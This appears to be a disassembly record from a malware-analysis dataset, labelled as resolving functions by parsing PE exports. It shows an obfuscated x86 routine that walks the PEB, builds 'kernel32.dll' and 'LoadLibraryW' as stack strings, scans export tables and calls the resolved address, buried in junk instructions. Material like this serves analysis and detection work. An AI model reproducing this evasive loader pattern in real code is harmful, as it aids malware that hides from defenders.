Function at 0x40b8e4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x3f4], ecx
push esi
or esi, 0x8789
sub esi, 0x13341
call 0x409e43
add byte [ebp + 0x45], cl
inc edx
xor cl, byte [esi + 0x39]
inc esp
dec esi
inc ecx
add esp, 4
call 0x409e55
add byte [eax + 0x36], al
dec ebx
dec edx
cmp al, 0x47
dec ecx
cmp byte [edx - 0x7d], cl
les eax, [esi + ebx*2]
mov edx, dword [ebp - 0x3f4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x3f8], eax
push ebx
add ebx, 0x3ee3
or ebx, 0x16b88
sub ebx, 0x8dd3
pop ebx
push ebx
push eax
add esp, 4
add al, 0x81
retf
cmpsd dword [esi], dword es:[edi]
mov dword [eax], eax
add byte [ecx + 0x117aec3], al
add byte [ecx + 0x42c6cb], al
inc edx
add byte [eax], al
or ebx, 0x2d1d
pop ebx
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x2ec], ecx
cmp dword [ebp - 0x2ec], 0
jne 0x409eed
push eax
jmp 0x409eb8
pop eax
push edi
xor edi, 0x13646
call 0x409ed0
add byte [ebx + 0x32], cl
cmp eax, 0x3e344d49
dec ebx
dec esi
aaa
add esp, 4
sub edi, 0xb923
jmp 0x409ee0
pop edi
mov dword [ebp - 0x70], 0
jmp 0x40a279
push ecx
xor ecx, 0x4bc
add ecx, 0x3a5
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0xdb8b
call 0x409f15
add byte [ebx], dh
aas
inc esp
dec ebx
dec ebp
xor al, 0x3d
cmp bh, byte [ecx]
add esp, 4
xor ecx, 0x13f45
pop ecx
mov edx, dword [ebp - 0x2ec]
xchg ebp, eax
adc al, 0xfd
invalid
dec dword [ebx + 0x488b0c42]
or al, 0x89
invalid
enter 0xfffffffffffffffd, 0xffffffffffffffff
cmp dword [ebp - 0x238], 0
jne 0x409f78
push esi
or esi, 0x1590
xor esi, 0x3bf3
pop esi
push eax
call 0x409f56
add byte [eax + 0x34], al
inc ebp
xor esi, dword [edi + edi]
dec ecx
add esp, 4
and eax, 0x1706d
xor eax, 0x8219
or eax, 0xb765
pop eax
mov dword [ebp - 0x70], 0
jmp 0x40a279
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0xa0], edx
push edi
push ecx
add esp, 4
and edi, 0x8f37
jmp 0x409f95
pop edi
push edi
jmp 0x409f9d
call 0x409faa
add byte [eax], bh
inc edx
cmp byte [eax + 0x34], dl
xor eax, 0x5f04c483
push esi
xor esi, 0x6c25
pop esi
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x234], eax
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x230], edx
push edx
push edi
add esp, 4
xor edx, 0xb9f2
sub edx, 0x33ac
add edx, 0xd254
or edx, 0x9ed4
pop edx
push esi
push edx
add esp, 4
jmp 0x409ffc
and esi, 0x1337c
pop esi
xor eax, eax
mov word [ebp - 0x60], ax
xor ecx, ecx
mov word [ebp - 0x14], cx
push ecx
push eax
add esp, 4
xor ecx, 0xe05
and ecx, 0xd1f9
sub ecx, 0x8bf2
add ecx, 0x941
pop ecx
push edx
or edx, 0x49d7
sub edx, 0x179ff
add edx, 0x17f61
pop edx
mov edx, dword [ebp - 0x230]
mov ax, word [edx]
mov word [ebp - 0x1ca], ax
mov ecx, dword [ebp - 0x230]
add ecx, 2
mov dword [ebp - 0x230], ecx
mov dx, word [ebp - 0x1ca]
mov word [ebp - 0x60], dx
push ebx
push edx
add esp, 4
xor ebx, 0xe43
jmp 0x40a07b
or ebx, 0x12d86
pop ebx
push ecx
push edx
add esp, 4
jmp 0x40a090
xor ecx, 0x14af6
or ecx, 0x13e7
pop ecx
mov eax, dword [ebp - 0x234]
mov cx, word [eax]
mov word [ebp - 0x1cc], cx
mov edx, dword [ebp - 0x234]
add edx, 2
mov dword [ebp - 0x234], edx
mov ax, word [ebp - 0x1cc]
mov word [ebp - 0x14], ax
push ecx
jmp 0x40a0ce
jmp 0x40a0d3
pop ecx
push ecx
jmp 0x40a0da
sub ecx, 0x15d91
or ecx, 0x8852
and ecx, 0x15931
pop ecx
push esi
push esi
add esp, 4
xor esi, 0x17065
pop esi
movzx ecx, word [ebp - 0x14]
test ecx, ecx
jne 0x40a116
movzx edx, word [ebp - 0x60]
movzx eax, word [ebp - 0x14]
sub edx, eax
mov dword [ebp - 0x2f4], edx
jmp 0x40a199
movzx ecx, word [ebp - 0x60]
movzx edx, word [ebp - 0x14]
cmp ecx, edx
je 0x40a00f
movzx eax, word [ebp - 0x60]
xor eax, 0x20
movzx ecx, word [ebp - 0x14]
cmp eax, ecx
je 0x40a00f
push edx
push eax
add esp, 4
xor edx, 0x9405
pop edx
push eax
push eax
add esp, 4
sub eax, 0xcc4f
pop eax
push edi
xor edi, 0x6ff7
or edi, 0x173c
pop edi
push eax
push eax
add esp, 4
and eax, 0x17958
pop eax
movzx edx, word [ebp - 0x60]
movzx eax, word [ebp - 0x14]
cmp edx, eax
jge 0x40a183
mov dword [ebp - 0x2f0], 0xffffffff
jmp 0x40a18d
mov dword [ebp - 0x2f0], 1
mov ecx, dword [ebp - 0x2f0]
mov dword [ebp - 0x2f4], ecx
cmp dword [ebp - 0x2f4], 0
jne 0x40a1e2
push ebx
push ebx
add esp, 4
add ebx, 0x17f01
pop ebx
push edx
sub edx, 0xf04e
or edx, 0x15a07
pop edx
push ecx
push edx
add esp, 4
or ecx, 0x153fd
or ecx, 0x9701
xor ecx, 0x6140
pop ecx
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x70], edx
jmp 0x40a279
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
mov dword [ebp - 0xa0], ecx
push eax
push edi
add esp, 4
call 0x40a205
add byte [ebx + 0x4a], cl
dec edx
xor eax, dword [eax + 0x47]
inc edx
cmp byte [esi], dh
add esp, 4
jmp 0x40a20d
or eax, 0x44e1
xor eax, 0x10f80
pop eax
push edi
or edi, 0x10197
pop edi
mov edx, dword [ebp - 0xa0]
cmp edx, dword [ebp - 0x238]
je 0x40a240
mov eax, dword [ebp - 0xa0]
cmp dword [eax + 0x30], 0
jne 0x409f84
push edx
push esi
add esp, 4
call 0x40a254
add byte [esi], bh
inc esi
inc ecx
xor al, 0x4d
cmp eax, 0xc483324d
add al, 0x81
fbld tbyte [edi]
add byte [eax], al
add edx, 0xae50
and edx, 0xeb8
pop edx
push eax
sub eax, 0x10678
pop eax
mov dword [ebp - 0x70], 0
cmp dword [ebp - 0x70], 0
jne 0x40af2f
push edx
or edx, 0x17417
sub edx, 0x1377d
pop edx
push ecx
push esi
add esp, 4
xor ecx, 0x3dc
pop ecx
push esi
push esi
add esp, 4
xor esi, 0x145d6
and esi, 0x2341
or esi, 0x8604
pop esi
mov ecx, 0x6b
mov word [ebp - 0x3d8], cx
mov edx, 0x65
mov word [ebp - 0x3d6], dx
mov eax, 0x72
mov word [ebp - 0x3d4], ax
mov ecx, 0x6e
mov word [ebp - 0x3d2], cx
mov edx, 0x65
mov word [ebp - 0x3d0], dx
mov eax, 0x6c
mov word [ebp - 0x3ce], ax
mov ecx, 0x33
add byte [eax], al
mov word [ebp - 0x3cc], cx
mov edx, 0x32
mov word [ebp - 0x3ca], dx
xchg ebp, eax
cld
invalid
invalid
mov eax, 0x2e
mov word [ebp - 0x3c8], ax
invalid
mov ecx, 0x64
mov word [ebp - 0x3c6], cx
mov edx, 0x6c
mov word [ebp - 0x3c4], dx
mov eax, 0x6c
mov word [ebp - 0x3c2], ax
xor ecx, ecx
mov word [ebp - 0x3c0], cx
push ecx
push edx
add esp, 4
and ecx, 0x12e8a
pop ecx
push eax
push ebx
add esp, 4
add eax, 0x90d1
add eax, 0x1e45
or eax, 0x59aa
xor eax, 0x5850
pop eax
push eax
jmp 0x40a37f
pop eax
mov byte [ebp - 0x164], 0x4c
mov byte [ebp - 0x163], 0x6f
mov byte [ebp - 0x162], 0x61
mov byte [ebp - 0x161], 0x64
mov byte [ebp - 0x160], 0x4c
mov byte [ebp - 0x15f], 0x69
mov byte [ebp - 0x15e], 0x62
mov byte [ebp - 0x15d], 0x72
mov byte [ebp - 0x15c], 0x61
mov byte [ebp - 0x15b], 0x72
mov byte [ebp - 0x15a], 0x79
mov byte [ebp - 0x159], 0x57
mov byte [ebp - 0x158], 0
push ebx
xor ebx, 0x5b57
pop ebx
push esi
push eax
add esp, 4
call 0x40a3f4
add byte [ebp + 0x4e], cl
dec eax
xor eax, 0xc4833649
add al, 0xeb
pop es
inc ebx
dec ebx
dec esp
push eax
inc edi
dec ecx
inc edi
sub esi, 0x3506
or esi, 0x13e13
pop esi
push esi
and esi, 0xa2d6
xor esi, 0x9839
pop esi
push edi
xor edi, 0x78aa
pop edi
push edi
push edi
add esp, 4
call 0x40a435
add byte [0x434a3938], bh
dec edx
dec edx
add esp, 4
sub edi, 0x17b2c
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x3fc], edx
push eax
push esi
add esp, 4
and eax, 0x13a5
add eax, 0xf641
sub eax, 0x528a
sub eax, 0x11d77
pop eax
push edi
or edi, 0x17331
pop edi
push edi
push ecx
add esp, 4
sub edi, 0x13c0f
pop edi
mov eax, dword [ebp - 0x3fc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x400], ecx
push eax
push esi
add esp, 4
call 0x40a49f
add byte [0x453e323f], bh
inc ecx
dec ebp
add esp, 4
jmp 0x40a4a9
jmp 0x40a4b0
pop eax
push ebx
sub ebx, 0x4f7a
and ebx, 0x91b2
pop ebx
mov edx, dword [ebp - 0x400]
mov dword [ebp - 0x2f8], edx
cmp dword [ebp - 0x2f8], 0
jne 0x40a515
push ecx
call 0x40a4e5
add byte [ecx + ecx*2 + 0x46], al
dec esp
inc eax
xor ecx, dword [edi + 0x41]
aas
aaa
add esp, 4
add ecx, 0x1826b
pop ecx
push eax
push eax
add esp, 4
sub eax, 0x169f2
jmp 0x40a4ff
xor eax, 0x13bee
pop eax
mov dword [ebp - 0xec], 0
jmp 0x40a8aa
push esi
jmp 0x40a51d
call 0x40a52c
add byte [esi + 0x33], cl
cmp al, byte [ebx + 0x44]
cmp ecx, dword [edi + 0x33]
dec esp
add esp, 4
xor esi, 0xaa15
pop esi
push edi
call 0x40a543
add byte [ebp + 0x46], al
dec eax
inc eax
dec ecx
xor al, byte [ebx - 0x74a0fb3c]
test dword [eax], ecx
std
invalid
cmp dword [ebp - 0xec], 0
jne 0x40a8f4
push eax
and eax, 0x2c7c
sub eax, 0x303b
sub eax, 0x143e7
xor eax, 0x17a13
pop eax
push ebx
push ebx
add esp, 4
and ebx, 0x7bf0
add ebx, 0x1771f
add ebx, 0xac43
pop ebx
mov dword [ebp - 0x1bc], 0
jmp 0x40b9d6
mov edx, dword [ebp - 0xec]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0xfc], 0
push eax
push eax
add esp, 4
jmp 0x40a918
and eax, 0x17c50
sub eax, 0x10f6d
pop eax
push esi
push edx
add esp, 4
add esi, 0x6122
pop esi
push ecx
and ecx, 0xddc4
and ecx, 0xb22
pop ecx
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x304], ecx
cmp dword [ebp - 0x304], 0
jne 0x40a997
push edx
push edi
add esp, 4
or edx, 0x5c24
add edx, 0x15068
pop edx
push eax
push esi
add esp, 4
or eax, 0xf4d6
xor eax, 0x13fcf
xor eax, 0x16030
pop eax
push esi
and esi, 0x120b
pop esi
mov edx, dword [ebp - 0xfc]
mov dword [ebp - 0x94], edx
jmp 0x40ae86
mov eax, dword [ebp - 0x304]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x308], ecx
jne 0x40a9bf
mov edx, dword [ebp - 0xfc]
mov dword [ebp - 0x94], edx
jmp 0x40ae86
push esi
add esi, 0x8fda
xor esi, 0xb8db
jmp 0x40a9d3
call 0x40a9e1
add byte [ecx + edi], bh
xor al, byte [ebp + 0x40]
xor eax, 0xc4833b42
add al, 0x5e
push ebx
push esi
add esp, 4
sub ebx, 0x4946
pop ebx
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x308]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0
jne 0x40aa55
push eax
call 0x40aa22
add byte [edx + 0x36], cl
aas
xor bh, byte [0x484c504a]
add esp, 4
or eax, 0x5167
sub eax, 0x89e8
pop eax
push esi
push edx
add esp, 4
sub esi, 0x6b57
or esi, 0x10944
pop esi
mov ecx, dword [ebp - 0xfc]
mov dword [ebp - 0x94], ecx
jmp 0x40ae86
push ecx
push ebx
add esp, 4
add ecx, 0x7972
or ecx, 0x56df
pop ecx
push edx
push edx
add esp, 4
or edx, 0xce23
pop edx
push eax
and eax, 0xc4b6
add eax, 0x7add
sub eax, 0x111ff
pop eax
mov edx, dword [ebp - 0x84]
add edx, dword [ebp - 0x30c]
mov dword [ebp - 0xf0], edx
jne 0x40aade
push eax
jmp 0x40aaa3
jmp 0x40aaa8
xor eax, 0xda22
add eax, 0x990d
or eax, 0x58000099
push eax
push edi
add esp, 4
sub eax, 0xce59
and eax, 0x6154
xor eax, 0xb86
pop eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x94], eax
jmp 0x40ae86
mov ecx, dword [ebp - 0xf0]
mov edx, dword [ebp - 0x84]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x404], edx
push esi
push edx
add esp, 4
sub esi, 0x1334a
xor esi, 0x5047
pop esi
push ecx
push ecx
add esp, 4
jmp 0x40ab0f
jmp 0x40ab15
pop ecx
push edi
sub edi, 0xd06f
jmp 0x40ab24
pop edi
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x84]
inc dword [ebx]
dec eax
and al, 0x89
invalid
clc
sti
invalid
call dword [ecx - 0x18]
or al, byte [eax]
add byte [eax], al
add byte [ebx], bh
dec eax
xor al, 0x3c
cmp eax, 0x403f3f4e
add esp, 4
xor ecx, 0x1685a
push 0x57590001
push esi
add esp, 4
or edi, 0x15df
sub edi, 0x6edf
out dx, eax
fild qword [esi]
add byte [ecx + 0x8813f7], al
add byte [edi - 0x75], bl
xchg ebp, eax
adc bh, bh
invalid
dec dword [ebx - 0x837b]
inc dword [ebx]
inc edx
sbb al, 0x89
test esp, esi
sti
invalid
inc edi
test dword [edi + edi*8], ecx
invalid
inc dword [eax]
add byte [eax], al
add bl, ch
invalid
mov ecx, dword [ebp - 0xf4]
add ecx, 1
mov dword [ebp - 0xf4], ecx
mov edx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf4]
cmp eax, dword [edx + 0x18]
jae 0x40ae7a
push edi
push edx
add esp, 4
sub edi, 0x95a4
add edi, 0x12268
xor edi, 0xc259
pop edi
push edi
push ecx
add esp, 4
jmp 0x40abd4
xor edi, 0x1391
pop edi
push ebx
and ebx, 0xb0b
pop ebx
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0x404]
mov eax, dword [ebp - 0x84]
test dword [edi + edi*8 - 1], edi
inc dword [ebx]
add al, 0x8a
mov dword [ebp - 0xf8], eax
push edx
add edx, 0x1afd
ret 0x1afd
add byte [eax], al
call 0x40ac12
add byte [edi], bh
inc edi
cmp dword [ecx + 0x33], ecx
inc esi
cmp byte [ebx - 0xd7efb3c], al
scasd eax, dword es:[edi]
push 0
add byte [edx + 0x52], bl
xor edx, 0x33f5
jmp 0x40ac29
sub edx, 0x74b3
pop edx
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0x408]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x40c]
mov edx, dword [ebp - 0x84]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x410], edx
push eax
push edx
add esp, 4
and eax, 0x16ba2
or eax, 0x9f83
sub eax, 0x137b2
and eax, 0x48c7
add byte [eax], al
pop eax
push ecx
add ecx, 0xfd86
add ecx, 0x326a
xor ecx, 0x5d5e
pop ecx
mov dword [ebp - 0x38], 0
jmp 0x40ac99
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0xf8]
add ecx, dword [ebp - 0x38]
movsx edx, byte [ecx]
test edx, edx
je 0x40ad35
mov eax, dword [ebp - 0x38]
movsx ecx, byte [ebp + eax - 0x164]
test ecx, ecx
je 0x40ad35
push esi
call 0x40acca
add byte [ebx], dh
cmp eax, 0x473f334b
inc esi
add esp, 4
pop esi
push ecx
push edi
add esp, 4
jmp 0x40acd9
pop ecx
push esi
jmp 0x40ace1
or esi, 0x7737
sub esi, 0x5401
pop esi
mov edx, dword [ebp - 0xf8]
add edx, dword [ebp - 0x38]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x38]
movsx edx, byte [ebp + ecx - 0x164]
cmp eax, edx
je 0x40ad27
mov eax, dword [ebp - 0xf8]
add eax, dword [ebp - 0x38]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x38]
movsx eax, byte [ebp + edx - 0x164]
cmp ecx, eax
jne 0x40ad2e
jmp 0x40ac90
jmp 0x40ad35
push ecx
push edi
add esp, 4
sub ecx, 0xfc95
sub ecx, 0x17939
sub ecx, 0x16ede
jmp 0x40ad52
pop ecx
push esi
add esi, 0x12769
jmp 0x40ad60
or esi, 0xd8cb
pop esi
mov ecx, dword [ebp - 0xf8]
add ecx, dword [ebp - 0x38]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x38]
movsx ecx, byte [ebp + eax - 0x164]
cmp edx, ecx
jne 0x40ad91
mov dword [ebp - 0x248], 0
jmp 0x40ae2c
push edx
push edx
add esp, 4
call 0x40ada4
add byte [ebp + 0x4f], al
cmp ecx, dword [ebx + 0x33]
cmp dword [ebx + esi - 0x7d], ecx
les eax, [edx + ebx*2]
push ebx
jmp 0x40adb0
sub ebx, 0x8b2b
pop ebx
push esi
push esi
add esp, 4
xor esi, 0xd581
pop esi
mov edx, dword [ebp - 0xf8]
add edx, dword [ebp - 0x38]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x38]
movsx edx, byte [ebp + ecx - 0x164]
or edx, 0x20
cmp eax, edx
jge 0x40adf0
mov dword [ebp - 0x248], 0xffffffff
jmp 0x40ae2c
push edx
push ebx
add esp, 4
xor edx, 0xa84
and edx, 0xf314
jmp 0x40ae09
sub edx, 0x176d4
pop edx
push esi
push esi
add esp, 4
xor esi, 0x1253e
add esi, 0xcc60
pop esi
mov dword [ebp - 0x248], 1
cmp dword [ebp - 0x248], 0
jne 0x40ae75
push esi
push ecx
add esp, 4
add esi, 0xeac0
xor esi, 0xa957
add esi, 0x102ca
sub esi, 0x85be
pop esi
push edx
and edx, 0xd8ca
sub edx, 0xd6e9
xor edx, 0x18469
pop edx
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x94], eax
jmp 0x40ae86
jmp 0x40ab8d
mov ecx, dword [ebp - 0xfc]
mov dword [ebp - 0x94], ecx
cmp dword [ebp - 0x94], 0
je 0x40af2f
push eax
or eax, 0x15157
sub eax, 0xe1fe
sub eax, 0x3e86
pop eax
push eax
push edi
add esp, 4
xor eax, 0x1803a
or eax, 0x84e8
pop eax
push esi
push edi
add esp, 4
or esi, 0x157d6
pop esi
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x414], edx
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x418], eax
lea ecx, [ebp - 0x2b0]
push ecx
call dword [ebp - 0x418]
test eax, eax
jne 0x40af2f
push edi
push eax
add esp, 4
call 0x40af00
add byte [edx + 0x3a], cl
inc ebp
xor cl, byte [ecx + 0x40]
cmp eax, dword [ebx - 0x387efb3c]
adc edx, dword [ebx]
add byte [eax], al
call 0x40af16
add byte [0x49333e39], bh
inc edi
inc edi
add esp, 4
jmp 0x40af1f
pop edi
mov dword [ebp - 0x1bc], 0
jmp 0x40b9d6
push esi
push ebx
add esp, 4
jmp 0x40af3c
call 0x40af49
add byte [edx + 0x49], cl
push eax
dec eax
aaa
cmp dword [ebx - 0x7d], eax
les eax, [esi + ebx*2]
push edi
add edi, 0xafb9
and edi, 0x81ef
xor edi, 0x7262
pop edi
push edx
push esi
add esp, 4
jmp 0x40af6c
pop edx
push eax
push ecx
add esp, 4
add eax, 0xd460
and eax, 0x10786
and eax, 0x18524
pop eax
push ebx
add ebx, 0x17132
xor ebx, 0x16caf
pop ebx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x41c], edx
push edx
push edx
add esp, 4
or edx, 0x14c4
add edx, 0x1512c
and edx, 0x62cf
pop edx
push ecx
add ecx, 0x7e63
xor ecx, 0x15d67
and ecx, 0x18160
xor ecx, 0x8ed
pop ecx
mov eax, dword [ebp - 0x41c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x420], ecx
push edx
or edx, 0xed75
jmp 0x40afee
jmp 0x40aff6
jmp 0x40affb
pop edx
push ebx
push edx
add esp, 4
or ebx, 0x97e2
and ebx, 0x132fe
jmp 0x40b012
pop ebx
mov edx, dword [ebp - 0x420]
mov dword [ebp - 0x310], edx
cmp dword [ebp - 0x310], 0
jne 0x40b066
push eax
and eax, 0x13df9
pop eax
push eax
push edx
add esp, 4
add eax, 0xb722
xor eax, 0xc919
or eax, 0x74f0
sub eax, 0xd833
pop eax
push ebx
push edx
add esp, 4
add ebx, 0xf91a
pop ebx
mov dword [ebp - 0x70], 0
jmp 0x40b3f2
push esi
and esi, 0x4495
pop esi
push ebx
push ebx
add esp, 4
or ebx, 0x1259e
sub ebx, 0xd6c8
xor ebx, 0x9b94
xchg esp, eax
wait
add byte [eax], al
pop ebx
push ecx
push ecx
add esp, 4
add ecx, 0xb729
add byte [ecx + 0xe2c8e9], al
add byte [ecx - 0x75], bl
test eax, esi
cld
invalid
dec dword [ebx + 0x518b0c48]
or al, 0x89
xchg ebp, eax
lodsb al, byte [esi]
std
invalid
inc dword [ebx - 0x25343]
inc dword [eax]
jne 0x40b0f1
push edi
push ecx
add esp, 4
and edi, 0x1bdb
or edi, 0xcffb
xor edi, 0x12bc9
sub edi, 0x9f81
pop edi
push eax
or eax, 0x15cab
xor eax, 0x52de
sub eax, 0x87b5
pop eax
mov dword [ebp - 0x70], 0
jmp 0x40b3f2
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0xa8], eax
push eax
push edi
add esp, 4
call 0x40b10f
add byte [edx + ecx*2 + 0x3d], al
dec ecx
xor al, 0x38
cmp eax, dword [ebx - 0x177efb3c]
mov esi, 0x810000aa
invalid
push edx
push esi
add esp, 4
xor edx, 0xecdb
add edx, 0x15e87
or edx, 0x482e
pop edx
push ecx
push edx
add esp, 4
and ecx, 0x177f7
pop ecx
push ecx
or ecx, 0x6462
or ecx, 0x32a5
pop ecx
mov edx, dword [ebp - 0x70]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x80], eax
push edi
push edx
add esp, 4
add edi, 0x2dc8
sub edi, 0x12d30
and edi, 0x137bb
pop edi
push edi
and edi, 0xccef
add edi, 0x7f07
and edi, 0x2e2
and edi, 0xf265
pop edi
mov dword [ebp - 0x114], 0
test esp, ebp
invalid
invalid
inc dword [eax]
add byte [eax], al
add byte [esi + 0x52], dl
add esp, 4
add esi, 0x142a4
movsb byte es:[edi], byte [esi]
inc edx
add dword [eax], eax
add esi, 0xd50f
call 0x40b489
add byte [edi + 0x33], al
inc edi
xor ecx, dword [ebp + 0x43]
aaa
cmp al, 0x3a
inc edx
cmp eax, 0x8104c483
out 0x93, al
or dword [ecx], eax
add byte [esi + 0x51], bl
xor ecx, 0x3a7
pop ecx
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x31c], ecx
cmp dword [ebp - 0x31c], 0
jne 0x40b4f0
push ecx
push ecx
add esp, 4
and ecx, 0x113fb
or ecx, 0xffa6
or ecx, 0x2d91
and ecx, 0x7d1e
pop ecx
push eax
push eax
add esp, 4
add eax, 0x143b6
pop eax
push eax
xor eax, 0xa363
pop eax
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0xac], edx
jmp 0x40b9ca
mov eax, dword [ebp - 0x31c]
mov ecx, dword [ebp - 0x80]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x320], ecx
jne 0x40b515
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0xac], edx
jmp 0x40b9ca
push edi
push edi
add esp, 4
add edi, 0x444e
and edi, 0x17a9b
sub edi, 0x7f0d
or edi, 0x8223
pop edi
push ecx
jmp 0x40b53a
or ecx, 0xb480
or ecx, 0xe607
pop ecx
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x320]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0
jne 0x40b5ab
push ecx
add ecx, 0x6954
pop ecx
push ebx
push eax
add esp, 4
call 0x40b582
add byte [eax + 0x35], dl
aas
dec eax
cmp byte [ecx + 0x4d], al
add esp, 4
pop ebx
push eax
call 0x40b596
add byte [ebx + edi], bh
aas
dec esp
inc edi
inc ebx
cmp byte [ebx + eax*4], dh
les eax, [eax + ebx*2]
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0xac], ecx
jmp 0x40b9ca
push esi
push edi
add esp, 4
or esi, 0x3ad6
add esi, 0x12293
xor esi, 0xf45e
pop esi
push edx
push eax
add esp, 4
xor edx, 0x17c2e
jmp 0x40b5d6
add edx, 0x21a7
pop edx
mov edx, dword [ebp - 0x80]
add edx, dword [ebp - 0x324]
mov dword [ebp - 0x100], edx
jne 0x40b631
push esi
push edi
add esp, 4
or esi, 0x5dbb
sub esi, 0x12b06
or esi, 0xba5d
or esi, 0x36f4
pop esi
push ebx
sub ebx, 0x12528
or ebx, 0x10ffe
add ebx, 0x28da
pop ebx
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0xac], eax
jmp 0x40b9ca
mov ecx, dword [ebp - 0x100]
mov edx, dword [ebp - 0x80]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x424], edx
push eax
push ecx
add esp, 4
jmp 0x40b64e
pop eax
push ebx
push ebx
add esp, 4
or ebx, 0x4bda
sub ebx, 0xbb9a
pop ebx
push ecx
sub ecx, 0x1a29
and ecx, 0x457e
sub ecx, 0xb211
pop ecx
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x80]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x428], ecx
push ebx
or ebx, 0x78a
xor ebx, 0x219
add ebx, 0x8cbd
or ebx, 0xae5d
pop ebx
push ebx
push esi
add esp, 4
sub ebx, 0x1788a
sub ebx, 0x63aa
sub ebx, 0x16e99
pop ebx
mov edx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x80]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x42c], eax
mov dword [ebp - 0x104], 0
jmp 0x40b6e6
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x104]
cmp eax, dword [edx + 0x18]
jae 0x40b9be
push edx
and edx, 0x93fc
sub edx, 0x4fc3
call 0x40b715
add byte [esi], dh
dec eax
dec eax
dec esp
dec edi
cmp eax, 0x4c4833f
pop edx
push ecx
add ecx, 0x819c
and ecx, 0x7c04
and ecx, 0xae10
pop ecx
mov ecx, dword [ebp - 0x104]
mov edx, dword [ebp - 0x424]
mov eax, dword [ebp - 0x80]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x10c], eax
push eax
push esi
add esp, 4
xor eax, 0x11433
pop eax
push eax
push ebx
add esp, 4
xor eax, 0x4793
pop eax
push ebx
push ecx
add esp, 4
jmp 0x40b769
jmp 0x40b771
jmp 0x40b776
pop ebx
mov ecx, dword [ebp - 0x104]
mov edx, dword [ebp - 0x428]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x42c]
mov edx, dword [ebp - 0x80]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x430], edx
push eax
push esi
add esp, 4
and eax, 0xc6f6
pop eax
push ecx
sub ecx, 0x3aa6
call 0x40b7bb
add byte [edx + esi + 0x3e], al
dec ebp
cmp dword [edx], edi
dec esp
xor eax, 0x4c48350
add ecx, 0x16cec
and ecx, 0x17cd0
pop ecx
mov dword [ebp - 0x3c], 0
jmp 0x40b7dd
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
test edx, edx
je 0x40b879
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [ebp + eax - 0x184]
test ecx, ecx
je 0x40b879
push edx
add edx, 0x78cc
xor edx, 0x10d3d
pop edx
push edi
push edx
add esp, 4
call 0x40b822
add byte [ebx], bh
dec ebp
xor eax, 0x354f383b
inc edi
cmp al, byte [ebx + 0x515f04c4]
push ecx
add esp, 4
and ecx, 0xe222
pop ecx
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ebp + ecx - 0x184]
cmp eax, edx
je 0x40b86b
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x3c]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x3c]
movsx eax, byte [ebp + edx - 0x184]
cmp ecx, eax
jne 0x40b872
jmp 0x40b7d4
jmp 0x40b879
push edi
push edi
add esp, 4
xor edi, 0x227c
and edi, 0x15ecd
add edi, 0xcbbe
pop edi
push edi
